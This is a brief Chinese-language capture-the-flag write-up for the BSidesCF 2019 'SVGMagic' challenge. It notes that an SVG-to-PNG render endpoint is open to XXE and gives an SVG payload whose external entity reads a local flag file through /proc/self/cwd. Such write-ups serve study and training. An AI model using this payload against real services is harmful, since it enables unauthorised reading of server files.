[BSidesCF 2019]SVGMagic.md

/

/render

可以将SVG转成PNG，存在XXE的可能性

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg [
	<!ENTITY flag SYSTEM "file:///proc/self/cwd/flag.txt">
]>
<svg ...>
	...
	<text ...>&flag;</text>
</svg>

#Web #svg #XXE